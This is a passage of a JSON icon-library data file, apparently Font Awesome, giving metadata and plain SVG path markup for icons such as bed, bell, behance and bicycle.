22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"
      }
    },
    "free": ["brands"]
  },
  "bed": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6cc"],
        "secondary": ["10f236"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hospital",
        "hotel",
        "lodging",
        "mattress",
        "patient",
        "person in bed",
        "rest",
        "sleep",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f236",
    "label": "Bed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V320H288V160c0-17.7 14.3-32 32-32H544c53 0 96 43 96 96V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V416H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32zm144 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V320H288V160c0-17.7 14.3-32 32-32H544c53 0 96 43 96 96V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V416H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32zm144 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "bed-pulse": {
    "aliases": {
      "names": ["procedures"],
      "unicodes": {
        "secondary": ["10f487"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "EKG",
        "bed",
        "electrocardiogram",
        "health",
        "hospital",
        "life",
        "patient",
        "vital"
      ]
    },
    "styles": ["solid"],
    "unicode": "f487",
    "label": "Bed Pulse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M483.2 9.6L524 64h92c13.3 0 24 10.7 24 24s-10.7 24-24 24H512c-7.6 0-14.7-3.6-19.2-9.6L468.7 70.3l-47 99.9c-3.7 7.8-11.3 13.1-19.9 13.7s-16.9-3.4-21.7-10.6L339.2 112H216c-13.3 0-24-10.7-24-24s10.7-24 24-24H352c8 0 15.5 4 20 10.7l24.4 36.6 45.9-97.5C445.9 6.2 453.2 1 461.6 .1s16.6 2.7 21.6 9.5zM320 160h12.7l20.7 31.1c11.2 16.8 30.6 26.3 50.7 24.8s37.9-13.7 46.5-32L461.9 160H544c53 0 96 43 96 96V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V352H288V192c0-17.7 14.3-32 32-32zm-144 0a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M483.2 9.6L524 64h92c13.3 0 24 10.7 24 24s-10.7 24-24 24H512c-7.6 0-14.7-3.6-19.2-9.6L468.7 70.3l-47 99.9c-3.7 7.8-11.3 13.1-19.9 13.7s-16.9-3.4-21.7-10.6L339.2 112H216c-13.3 0-24-10.7-24-24s10.7-24 24-24H352c8 0 15.5 4 20 10.7l24.4 36.6 45.9-97.5C445.9 6.2 453.2 1 461.6 .1s16.6 2.7 21.6 9.5zM320 160h12.7l20.7 31.1c11.2 16.8 30.6 26.3 50.7 24.8s37.9-13.7 46.5-32L461.9 160H544c53 0 96 43 96 96V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352 320 64v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V96C0 78.3 14.3 64 32 64s32 14.3 32 32V352H288V192c0-17.7 14.3-32 32-32zm-144 0a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "beer-mug-empty": {
    "aliases": {
      "names": ["beer"],
      "unicodes": {
        "secondary": ["10f0fc"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "ale",
        "bar",
        "beverage",
        "brew",
        "brewery",
        "drink",
        "foam",
        "lager",
        "liquor",
        "mug",
        "stein"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fc",
    "label": "Beer Mug Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V96h51.2c42.4 0 76.8 34.4 76.8 76.8V274.9c0 30.4-17.9 57.9-45.6 70.2L384 381.7V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V64zM384 311.6l56.4-25.1c4.6-2.1 7.6-6.6 7.6-11.7V172.8c0-7.1-5.7-12.8-12.8-12.8H384V311.6zM160 144c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V96h51.2c42.4 0 76.8 34.4 76.8 76.8V274.9c0 30.4-17.9 57.9-45.6 70.2L384 381.7V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V64zM384 311.6l56.4-25.1c4.6-2.1 7.6-6.6 7.6-11.7V172.8c0-7.1-5.7-12.8-12.8-12.8H384V311.6zM160 144c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144zm64 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V368c0 8.8 7.2 16 16 16s16-7.2 16-16V144z"
      }
    },
    "free": ["solid"]
  },
  "behance": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b4",
    "label": "Behance",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"
      }
    },
    "free": ["brands"]
  },
  "bell": {
    "aliases": {
      "unicodes": {
        "composite": ["1f514", "f0a2"],
        "secondary": ["10f0f3"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alarm",
        "alert",
        "bel",
        "bell",
        "chime",
        "notification",
        "reminder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0f3",
    "label": "Bell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c-17.7 0-32 14.3-32 32V51.2C119 66 64 130.6 64 208v18.8c0 47-17.3 92.4-48.5 127.6l-7.4 8.3c-8.4 9.4-10.4 22.9-5.3 34.4S19.4 416 32 416H416c12.6 0 24-7.4 29.2-18.9s3.1-25-5.3-34.4l-7.4-8.3C401.3 319.2 384 273.9 384 226.8V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32zm45.3 493.3c12-12 18.7-28.3 18.7-45.3H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c-17.7 0-32 14.3-32 32V51.2C119 66 64 130.6 64 208v18.8c0 47-17.3 92.4-48.5 127.6l-7.4 8.3c-8.4 9.4-10.4 22.9-5.3 34.4S19.4 416 32 416H416c12.6 0 24-7.4 29.2-18.9s3.1-25-5.3-34.4l-7.4-8.3C401.3 319.2 384 273.9 384 226.8V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32zm45.3 493.3c12-12 18.7-28.3 18.7-45.3H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c-17.7 0-32 14.3-32 32V49.9C119.5 61.4 64 124.2 64 200v33.4c0 45.4-15.5 89.5-43.8 124.9L5.3 377c-5.8 7.2-6.9 17.1-2.9 25.4S14.8 416 24 416H424c9.2 0 17.6-5.3 21.6-13.6s2.9-18.2-2.9-25.4l-14.9-18.6C399.5 322.9 384 278.8 384 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32zm0 96h8c57.4 0 104 46.6 104 104v33.4c0 47.9 13.9 94.6 39.7 134.6H72.3C98.1 328 112 281.3 112 233.4V200c0-57.4 46.6-104 104-104h8zm64 352H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c-17.7 0-32 14.3-32 32V49.9C119.5 61.4 64 124.2 64 200v33.4c0 45.4-15.5 89.5-43.8 124.9L5.3 377c-5.8 7.2-6.9 17.1-2.9 25.4S14.8 416 24 416H424c9.2 0 17.6-5.3 21.6-13.6s2.9-18.2-2.9-25.4l-14.9-18.6C399.5 322.9 384 278.8 384 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32zm0 96h8c57.4 0 104 46.6 104 104v33.4c0 47.9 13.9 94.6 39.7 134.6H72.3C98.1 328 112 281.3 112 233.4V200c0-57.4 46.6-104 104-104h8zm64 352H224 160c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bell-concierge": {
    "aliases": {
      "names": ["concierge-bell"],
      "unicodes": {
        "composite": ["1f6ce"],
        "secondary": ["10f562"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "attention",
        "bell",
        "bellhop",
        "bellhop bell",
        "hotel",
        "receptionist",
        "service",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f562",
    "label": "Bell Concierge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 64c-13.3 0-24 10.7-24 24s10.7 24 24 24h16v33.3C119.6 157.2 32 252.4 32 368H480c0-115.6-87.6-210.8-200-222.7V112h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H256 216zM24 400c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216 64c-13.3 0-24 10.7-24 24s10.7 24 24 24h16v33.3C119.6 157.2 32 252.4 32 368H480c0-115.6-87.6-210.8-200-222.7V112h16c13.3 0 24-10.7 24-24s-10.7-24-24-24H256 216zM24 400c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z"
      }
    },
    "free": ["solid"]
  },
  "bell-slash": {
    "aliases": {
      "unicodes": {
        "composite": ["1f515", "f1f7"],
        "secondary": ["10f1f6"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alert",
        "bell",
        "bell with slash",
        "cancel",
        "disabled",
        "forbidden",
        "mute",
        "notification",
        "off",
        "quiet",
        "reminder",
        "silent"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1f6",
    "label": "Bell Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-87.5-68.6c.5-1.7 .7-3.5 .7-5.4c0-27.6-11-54.1-30.5-73.7L512 320c-20.5-20.5-32-48.3-32-77.3V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V51.2c-42.6 8.6-79 34.2-102 69.3L38.8 5.1zM160 242.7c0 29-11.5 56.8-32 77.3l-1.5 1.5C107 341 96 367.5 96 395.2c0 11.5 9.3 20.8 20.8 20.8H406.2L160 222.1v20.7zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-87.5-68.6c.5-1.7 .7-3.5 .7-5.4c0-27.6-11-54.1-30.5-73.7L512 320c-20.5-20.5-32-48.3-32-77.3V208c0-77.4-55-142-128-156.8V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V51.2c-42.6 8.6-79 34.2-102 69.3L38.8 5.1zM160 242.7c0 29-11.5 56.8-32 77.3l-1.5 1.5C107 341 96 367.5 96 395.2c0 11.5 9.3 20.8 20.8 20.8H406.2L160 222.1v20.7zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L542.6 400c2.7-7.8 1.3-16.5-3.9-23l-14.9-18.6C495.5 322.9 480 278.8 480 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V49.9c-43.9 7-81.5 32.7-104.4 68.7L38.8 5.1zM221.7 148.4C239.6 117.1 273.3 96 312 96h8 8c57.4 0 104 46.6 104 104v33.4c0 32.7 6.4 64.8 18.7 94.5L221.7 148.4zM406.2 416l-60.9-48H168.3c21.2-32.8 34.4-70.3 38.4-109.1L160 222.1v11.4c0 45.4-15.5 89.5-43.8 124.9L101.3 377c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6H406.2zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L542.6 400c2.7-7.8 1.3-16.5-3.9-23l-14.9-18.6C495.5 322.9 480 278.8 480 233.4V200c0-75.8-55.5-138.6-128-150.1V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V49.9c-43.9 7-81.5 32.7-104.4 68.7L38.8 5.1zM221.7 148.4C239.6 117.1 273.3 96 312 96h8 8c57.4 0 104 46.6 104 104v33.4c0 32.7 6.4 64.8 18.7 94.5L221.7 148.4zM406.2 416l-60.9-48H168.3c21.2-32.8 34.4-70.3 38.4-109.1L160 222.1v11.4c0 45.4-15.5 89.5-43.8 124.9L101.3 377c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6H406.2zM384 448H320 256c0 17 6.7 33.3 18.7 45.3s28.3 18.7 45.3 18.7s33.3-6.7 45.3-18.7s18.7-28.3 18.7-45.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "bezier-curve": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["curves", "illustrator", "lines", "path", "vector"]
    },
    "styles": ["solid"],
    "unicode": "f55b",
    "label": "Bezier Curve",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M296 136V88h48v48H296zM288 32c-26.5 0-48 21.5-48 48v4H121.6C111.2 62.7 89.3 48 64 48C28.7 48 0 76.7 0 112s28.7 64 64 64c25.3 0 47.2-14.7 57.6-36h66.9c-58.9 39.6-98.9 105-104 180H80c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-3.3c5.9-67 48.5-123.4 107.5-149.1c8.6 12.7 23.2 21.1 39.8 21.1h64c16.6 0 31.1-8.4 39.8-21.1c59 25.7 101.6 82.1 107.5 149.1H496c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-4.5c-5-75-45.1-140.4-104-180h66.9c10.4 21.3 32.3 36 57.6 36c35.3 0 64-28.7 64-64s-28.7-64-64-64c-25.3 0-47.2 14.7-57.6 36H400V80c0-26.5-21.5-48-48-48H288zM88 376h48v48H88V376zm416 48V376h48v48H504z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M296 136V88h48v48H296zM288 32c-26.5 0-48 21.5-48 48v4H121.6C111.2 62.7 89.3 48 64 48C28.7 48 0 76.7 0 112s28.7 64 64 64c25.3 0 47.2-14.7 57.6-36h66.9c-58.9 39.6-98.9 105-104 180H80c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-3.3c5.9-67 48.5-123.4 107.5-149.1c8.6 12.7 23.2 21.1 39.8 21.1h64c16.6 0 31.1-8.4 39.8-21.1c59 25.7 101.6 82.1 107.5 149.1H496c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48h-4.5c-5-75-45.1-140.4-104-180h66.9c10.4 21.3 32.3 36 57.6 36c35.3 0 64-28.7 64-64s-28.7-64-64-64c-25.3 0-47.2 14.7-57.6 36H400V80c0-26.5-21.5-48-48-48H288zM88 376h48v48H88V376zm416 48V376h48v48H504z"
      }
    },
    "free": ["solid"]
  },
  "bicycle": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6b2"],
        "secondary": ["10f206"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bicycle",
        "bike",
        "gears",
        "pedal",
        "transportation",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f206",
    "label": "Bicycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h25.7l34.6 64H222.9l-27.4-38C191 99.7 183.7 96 176 96H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h43.7l22.1 30.7-26.6 53.1c-10-2.5-20.5-3.8-31.2-3.8C57.3 224 0 281.3 0 352s57.3 128 128 128c65.3 0 119.1-48.9 127-112h49c8.5 0 16.3-4.5 20.7-11.8l84.8-143.5 21.7 40.1C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L375.4 48.8C369.8 38.4 359 32 347.2 32H312zM458.6 303.7l32.3 59.7c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-32.3-59.7c3.6-.6 7.4-.9 11.2-.9c39.8 0 72 32.2 72 72s-32.2 72-72 72s-72-32.2-72-72c0-18.6 7-35.5 18.6-48.3zM133.2 368h65c-7.3 32.1-36 56-70.2 56c-39.8 0-72-32.2-72-72s32.2-72 72-72c1.7 0 3.4 .1 5.1 .2l-24.2 48.5c-9 18.1 4.1 39.4 24.3 39.4zm33.7-48l50.7-101.3 72.9 101.2-.1 .1H166.8zm90.6-128H365.9L317 274.8 257.4 192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
